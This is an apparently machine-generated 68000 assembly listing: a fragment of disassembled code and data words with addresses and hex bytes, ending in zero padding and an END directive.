MOVE.L A4,-(A3) ;6A8: 270C
SUBX.L D5,D4 ;6AA: 9985
MOVE.L A0,-(A6) ;6AC: 2D08
ADDX.L -(A3),-(A0) ;6AE: D18B
DC.W $2F82 ;6B0
ADDX.L D4,D1 ;6B2: D384
DC.W $2581 ;6B4
ADDQ.L #1,D2 ;6B6: 5282
ADDA.L #$66356D77,A4 ;6B8: D9FC66356D77
MOVE.L 12(A2,A3.W),D1 ;6BE: 2232B00C
CMPI #$C571,D4 ;6C2: 0C44C571
DC.W $D9F5 ;6C6
LAB_002F:
LSL D6,D2 ;6C8: ED6A
DC.W $EDEC ;6CA
DC.W $EBED ;6CC
DC.W $A812 ;6CE
DC.W $1E43 ;6D0
DC.W $F560 ;6D2
DC.W $F73B ;6D4
CMP.B 8226(A2),D0 ;6D6: B02A2022
DC.W $66C1 ;6DA
DC.W $41DE ;6DC
OR.B (A3),D4 ;6DE: 8813
DC.W $282C ;6E0
SUBA.L A1,A3 ;6E2: 97C9
OR.B (A2)+,D1 ;6E4: 821A
DC.W $2E2C ;6E6
DC.W $81BB ;6E8
DC.W $A9A3 ;6EA
CMPA -(A4),A4 ;6EC: B8E4
DC.W $A5A1 ;6EE
DC.W $A5B4 ;6F0
DC.W $A4B6 ;6F2
CMPA D2,A5 ;6F4: BAC2
DC.W $CBCA ;6F6
DC.W $EBD6 ;6F8
ADD.L (A4)+,D4 ;6FA: D89C
DC.W $F3D3 ;6FC
MULS (A3)+,D6 ;6FE: CDDB
ADD.L D7,(A3)+ ;700: DF9B
DC.W $FDDD ;702
ADDA (A7),A4 ;704: D8D7
DC.W $C3BA ;706
DC.W $E8CB ;708
DC.W $C3C9 ;70A
ADDA.L A3,A4 ;70C: D9CB
ADDA.L D1,A6 ;70E: DDC1
DC.W $C8C8 ;710
SUBX.L D4,D7 ;712: 9F84
SUB.L D1,(A2) ;714: 9392
SUB.L D0,(A0) ;716: 9190
DC.W $AFAF ;718
DC.W $AFA9 ;71A
DC.W $91B7 ;71C
CMPA.L A6,A4 ;71E: B9CE
DC.W $F2E4 ;720
DC.W $E6FD ;722
DC.W $FCFC ;724
EOR.L D0,-(A2) ;726: B1A2
DC.W $A1BE ;728
CMP.L D6,D6 ;72A: BC86
DC.W $8180 ;72C
ADDA.L -(A0),A6 ;72E: DDE0
DC.W $E6E8 ;730
DC.W $EEF7 ;732
DC.W $A3E4 ;734
DC.W $EEF2 ;736
DC.W $5F0A ;738
MOVE.B (A1)+,-(A2) ;73A: 1519
SUBQ.B #5,4124(A0) ;73C: 5B28101C
DC.W $125A ;740
SUBQ.B #2,EXT_0004 ;742: 55391A010515
DC.W $1D4F ;748
DC.W $4C66 ;74A
DC.W $6B6A ;74C
DC.W $6968 ;74E
DC.W $6766 ;750
DC.W $6564 ;752
DC.W $6362 ;754
DC.W $6160 ;756
SUBQ #7,(A6)+ ;758: 5F5E
SUBQ #6,(A4)+ ;75A: 5D5C
SUBQ #5,(A1)+ ;75C: 5B59
BCLR D7,D0 ;75E: 0F80
SUBQ #3,(A6) ;760: 5756
DC.W $5208 ;762
SUBQ #1,(A2) ;764: 5352
SUBQ #8,(A0) ;766: 5150
DC.W $4F4E ;768
DC.W $4D4C ;76A
DC.W $4B4A ;76C
DC.W $4948 ;76E
DC.W $4746 ;770
DC.W $4544 ;772
DC.W $4342 ;774
DC.W $4140 ;776
DC.W $3F3E ;778
MOVE #$3B3A,-(A6) ;77A: 3D3C3B3A
MOVE (EXT_0003).W,-(A4) ;77E: 39383736
MOVE 0(A4,D0.W),-(A2) ;782: 35340000
DC.W $038C ;786
DC.W $FFFF ;788
DC.W $FFFD ;78A
DC.W $636C ;78C
DC.W $7300 ;78E
ORI.B #$00,D0 ;790: 00000000
ORI.B #$00,D0 ;794: 00000000
ORI.B #$00,D0 ;798: 00000000
ORI.B #$00,D0 ;79C: 00000000
ORI.B #$00,D0 ;7A0: 00000000
ORI.B #$00,D0 ;7A4: 00000000
END